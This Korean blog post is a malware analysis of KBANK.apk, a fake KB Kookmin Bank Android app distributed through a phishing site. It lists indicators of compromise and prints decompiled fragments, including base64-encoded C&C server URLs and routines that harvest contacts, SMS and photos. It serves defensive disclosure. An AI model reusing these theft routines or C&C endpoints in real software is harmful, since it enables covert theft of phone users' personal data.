꿈을꾸는 파랑새

오늘은 국민은행으로 속이는 스미싱 안드로이드 악성코드인 KBANK.apk에 대해 글을 적어보겠습니다. 일단 기본적으로 해당 악성코드는 스미싱 공격 아니며 보이스피싱을 통해서 피싱사이트에 접속을 해서 가짜 국민은행 사이트에서 악성코드 앱인 KBANK.apk를 다운로드를 실행을 하고 개인정보를 훔치는 앱을 합니다.
일단 기본적으로 진짜 국민은행은 반응형 홈페이지를 지원하지 않고 있고 악성코드가 유포되고 있는 피싱 사이트는 반응형 홈페이지를 지원하는 것이 특징입니다. 그리고 진짜 국민은행 사이트는 공인인증서도 지원하는 것을 볼 수가 있습니다. 일단 기본적으로 접속하는 피싱 사이트는 다음과 같습니다.
hxxp://agoralux(.)com.br/
입니다.앱 이름은 KB국민은행입니다.
훔치는 개인정보
연락처, 문자, 미디어 정보(사진,동영상)입니다.
해당 악성코드의 해쉬값과 안드로이드 권한은 다음과 같습니다.

 국민 은행 피싱 사이트 와 진짜 국민은행 사이트 국민 은행 피싱 사이트 와 진짜 국민은행 사이트

해쉬 값
MD5:b826faec7768b9c6ed77a1ef3e60d0dc
SHA-1:156c3272788aea599d12f9dd6e63d718b5a88c41
SHA-256:
ca22b6fc120d187e601a135077bb59787fd819f010f849e9b6fa0d71a2987b52
안드로이드 권한
android.permission.GET_TASKS
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.KILL_BACKGROUND_PROCESSES
android.permission.VIBRATE
android.permission.WRITE_SYNC_SETTINGS>
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE

피싱사이트 웹소스 악성코드 다운로드피싱사이트 웹소스 악성코드 다운로드

android.permission.INTERNET
android.permission.ACCESS_NETWORK_STATE
android.permission.PROCESS_OUTGOING_CALLS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.READ_CALL_LOG
android.permission.WRITE_CALL_LOG
android.permission.READ_PHONE_STATE
android.permission.SYSTEM_ALERT_WINDOW
android.permission.WAKE_LOCK
android.permission.DISABLE_KEYGUARD
android.permission.READ_SMS
android.permission.RECEIVE_SMS
android.permission.REORDER_TASKS
android.permission.READ_CONTACTS
android.permission.AUTHENTICATE_ACCOUNTS

AndroidManifest(안드로이드 권한)AndroidManifest(안드로이드 권한)

android.permission.GET_ACCOUNTS
android.permission.CALL_PHONE
android.permission.ACCESS_COARSE_LOCATION
android.permission.SET_ALARM
android.permission.FOREGROUND_SERVICE
android.permission.CAMERA
android.permission.RECORD_AUDIO
android.permission.MODIFY_AUDIO_SETTINGS
android.permission.BLUETOOTH
android.permission.READ_EXTERNAL_STORAGE
android.permission.ANSWER_PHONE_CALLS
android.permission.PROCESS_INCOMING_CALLS
android.permission.MODIFY_PHONE_STATE

안드로이드 악성코드 C&C 서버안드로이드 악성코드 C&C 서버

CERT 내용 은 다음과 같습니다.
CERT 내용:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:1746890282 (0x681f6e2a)
Signature Algorithm:sha256WithRSAEncryption
Issuer: C=110000, ST=China, L=ShenYang, O=BigCity, OU=BigCity, CN=DaGe TIan
 Validity
Not Before:Sep 17 07:27:21 2016 GMT
Not After:Sep 11 07:27:21 2041 GMT
Subject: C=110000, ST=China, L=ShenYang, O=BigCity, OU=BigCity, CN=DaGe TIan
보시면 한국이 아니고 내용을 보면 중국, 중국 선양, DaGe TIan 으로 보면 중국에서 만들어진 것을 한국어 잘하는 중국인,조선족으로  추측할 수가 있습니다.

CERT 내용CERT 내용

먼저 애플의 아이폰을 사용하시는 분들은 다음과 같이 동작을 합니다.
iOS는 작동 안 함: 모바일 앱 내려받기 후 이용해주세요 이라는 메세지 볼수가 있음. 한마디로 아이폰에 사용되는 iOS는 작동을 하지 않습니다.
2020-11-04 07:34:00 UTC 기준 바이러스토탈에서 탐지되고 있는 보안 제품들은 다음과 같습니다.
AhnLab-V3:Trojan/Android.SMSstealer.984665
CAT-QuickHeal:Android.Fakenocam.GEN36061
DrWeb:Android.BankBot.664.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BAK
Fortinet:Android/SmsSpy.QX!tr
K7GW:Trojan (00550f0b1 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Fakenocam.b
Microsoft:TrojanSpy:AndroidOS/Fakenocam.A!MTB
Trustlook:Android.Malware.General (score:9)
ZoneAlarm by Check Point:HEUR:Trojan-Spy.AndroidOS.Fakenocam.b
만이 탐지를 되는 것 볼 수가 있습니다.한마디로 진단하는 것만 진단합니다.
그리고 해당 악성코드가 정상적으로 실행을 되면 다음 C&C 서버&원격 경로를 통해서 작동합니다.
public class b {
  public static final String[] a = new String[] { f.c("aHR0cDovL2FwaXNlcnZlci5wYW5kb3JhLWFwcC5uZXQ6MjA5NS9hcGk="), f.c("aHR0cDovL2FwcHNlcnZlci5wYW5kb3JhLWFwcC5uZXQ6MjA5NS9hcGk="), f.c("aHR0cDovL29uZS5wYW5kb3JhLWFwcC5uZXQ6MjA5NS9hcGk="), f.c("aHR0cDovL3BhbmRvcmEuenpmeXAuY29tOjIwOTUvYXBp"), f.c("aHR0cDovL2N5YmVyLnp6ZnlwLmNvbToyMDk1L2FwaQ==") };
public static final String b = f.c("L21ldGhvZDEv");
public static final String c = f.c("L21ldGhvZDIv");
public static final String d = f.c("L21ldGhvZDMv");
public static final String e = f.c("L21ldGhvZDQv");
public static final String f = f.c("L21ldGhvZDUv");
public static final String g = f.c("L21ldGhvZDYv");
public static final String h = f.c("L21ldGhvZDcv");
public static final String i = f.c("L21ldGhvZDgv");
public static final String j = f.c("L21ldGhvZDkv");
public static final String k = f.c("L21ldGhvZDEwLw==");
public static final String l = f.c("L21ldGhvZDEyLw==");
 public static final String m = f.c("L21ldGhvZDEzLw==");
public static final String n = f.c("L21ldGhvZDE0Lw==");
}
입니다.
http://kr(.)jhyapp.org:2095/api
http://kr(.)pandora-app.net:2095/api
http://pandora-app(.)net:2095/api
http://23.160(.)194.191:2095/api
http://23.160(.)194.193:2095/api

악성 앱 IP주소악성 앱 IP주소

그리고 23~로 시작하는 IP 주소를 조회하면 다음과 같이 미국으로 가는 것을 볼 수가 있습니다.
IP 주소 조회
IP Address: 23(.)160.194.191
Reverse DNS: 191(.)194.160.23(.) in-addr.arpa
Hostname: 23(-)160-194-191.ip-xfer(.)net
Location For an IP: 23(.)160.194.191
Continent:North America (NA)
Country:United States
IP Location Find In United States (US)
Capital:Washington
State:Illinois
City Location:Chicago
입니다.

연락처 훔치기 및 가져 오기연락처 훔치기 및 가져 오기

그리고 연락처 훔쳐 오기 및 가져 오기
Public List<ContactEntity> c() {
Cursor cursor = this.a.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
ArrayList<ContactEntity> arrayList = new ArrayList();
int i = 0;
while (cursor.moveToNext() && i != 500) {
try {
int j = cursor.getColumnIndex("data1");
int k = cursor.getColumnIndex("display_name");
String str1 = cursor.getString(j);
String str2 = cursor.getString(k);
if (str1 != null && str2 != null) {
String str = str1;
부분 입니다.
그리고 미디어(사진,동영상) 훔쳐 오기 및 가져 오기
private void t(Context paramContext) {
    int i = 0;
    Cursor cursor = paramContext.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[] { "_data" }, null, null, "datetaken DESC");

미디어(사진,동영상) 데이터 훔치기 및 가져 오기미디어(사진,동영상) 데이터 훔치기 및 가져 오기

문자 훔치기
Cursor cursor = this.a.getContentResolver().query(Uri.parse("content://sms/").buildUpon().appendQueryParameter("LIMIT", String.valueOf(paramInt)).build(), new String[] { "_id", "address", "protocol", "person", "body", "date", "type" }, null, null, "date desc");
for (int i = 0;; i++) {
String str1;
if (cursor.moveToNext() && i != paramInt) {
str3 = cursor.getString(cursor.getColumnIndex("address"));
String str = cursor.getString(cursor.getColumnIndex("protocol"));
str1 = "1";
if (str3 == null) {
} else if (str != null && str != "2") {
str1 = "2";
}

문자 정보 훔치기문자 정보 훔치기

그리고 밑에 내려가다 보면 아래와 같은 코드가 있습니다.
catch (Exception exception) {
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append("短信获取出错:);
      stringBuilder.append(exception.getMessage());
      a.b(stringBuilder.toString());
      exception.printStackTrace();
      return arrayList;
短信获取出错 이라는 단어를 구글 번역기 돌려 보니까 SMS 수신 오류이라는 것을 확인할 수가 있었습니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band